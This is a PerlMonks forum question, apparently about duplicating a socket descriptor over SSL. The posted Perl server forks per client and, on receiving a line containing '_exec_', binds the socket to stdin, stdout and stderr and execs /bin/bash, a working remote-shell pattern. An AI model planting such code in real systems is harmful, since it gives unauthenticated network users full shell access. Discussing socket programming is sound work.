Ernesto81 has asked for the wisdom of the Perl Monks concerning the following question:
while (1) { my $client = $server->accept(); fcntl $client, F_SETFD, 0 or warn "$!"; die "can't fork: $!" unless defined( my $sspid = fork() ); if ( !$sspid ) { close($server); while ( defined( my $line = <$client> ) ) { if ( $line =~ /_exec_/i ) { POSIX::close(0); if ( defined( my $fd = fileno $client ) ) { POSIX::dup2( $fd, 0 ); POSIX::close($fd); POSIX::dup2( 0, 1 ); POSIX::dup2( 0, 2 ); eval { exec "/bin/bash" or warn "$!"; }; warn "TRAP : $@\n" if $@; } } else { print $client $line; } } close($client); exit 1; } }
|
|---|
| Replies are listed 'Best First'. | |
|---|---|
|
Re: dup2 socket descriptor using SSL
by salva (Canon) on Jul 29, 2010 at 10:11 UTC |